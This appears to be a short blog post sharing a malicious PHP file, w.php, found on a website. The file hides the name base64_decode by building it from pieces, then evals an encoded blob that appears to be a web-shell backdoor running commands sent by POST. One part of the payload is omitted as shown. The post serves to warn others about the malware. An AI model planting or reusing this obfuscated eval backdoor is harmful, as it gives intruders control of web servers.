w.php – another virus code

Another virus code.
You can see, they tricking not to find easily the base64_decode string!

<?php
$b66b8c77227f0ab2f96b191ec36336dd="\x62\x61\x73\x65";//

$b66b8c77227f0ab2f96b191ec36336dd.="64";
$b66b8c77227f0ab2f96b191ec36336dd.="_";
$b66b8c77227f0ab2f96b191ec36336dd.="dec"."ode";
$b57391c9c82bfdcbb4947278c0401e41="xxx";
$b57391c9c82bfdcbb4947278c0401e42="UmZVRTlUVkZzbmNERW5YU2tnZXdvSkNTUmhJRDBnWVhKeVlYa29DZ2tKQ1NKMWJtRnRaU0lnUFQ0Z2NHaHdYM1Z1WVcxbEtDa3NDZ2tKQ1NKd2FIQmZkbVZ5YzJsdmJpSWdQVDRnY0dod2RtVnljMmx2YmlncExBb0pDUWtpZDNOdlgzWmxjbk5wYjI0aUlEMCtJRmRUVDE5V1JWSlRTVTlPTEFvSkNRa2ljMkZtWlcxdlpHVWlJRDArSUVCcGJtbGZaMlYwS0NkellXWmxYMjF2WkdVbktRb0pDU2s3Q2drSlpXTm9ieUJ6WlhKcFlXeHBlbVVvSkdFcE93b0pmU0JsYkhObElIc0tDUWxsZG1Gc0tDUmZVRTlUVkZzbmNERW5YU2s3Q2dsOUNuMEthV1lvSUdWdGNIUjVLQ1JmVUU5VFZGc25ZU2RkS1NBcENnbHBaaWhwYzNObGRDZ2taR1ZtWVhWc2RGOWhZM1JwYjI0cElDWW1JR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25ZV04wYVc5dUp5QXVJQ1JrWldaaGRXeDBYMkZqZEdsdmJpa3BDZ2tKSkY5UVQxTlVXeWRoSjEwZ1BTQWtaR1ZtWVhWc2RGOWhZM1JwYjI0N0NnbGxiSE5sQ2drSkpGOVFUMU5VV3lkaEoxMGdQU0FuVTJWalNXNW1ieWM3Q21sbUtDQWhaVzF3ZEhrb0pGOVFUMU5VV3lkaEoxMHBJQ1ltSUdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWVdOMGFXOXVKeUF1SUNSZlVFOVRWRnNuWVNkZEtTQXBDZ2xqWVd4c1gzVnpaWEpmWm5WdVl5Z25ZV04wYVc5dUp5QXVJQ1JmVUU5VFZGc25ZU2RkS1RzS1pYaHBkRHM9";
eval($b66b8c77227f0ab2f96b191ec36336dd($b66b8c77227f0ab2f96b191ec36336dd($b57391c9c82bfdcbb4947278c0401e41.$b57391c9c82bfdcbb4947278c0401e42)));
?>

Note: the $b57391c9c82bfdcbb4947278c0401e41 row is missing because it’s too big

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.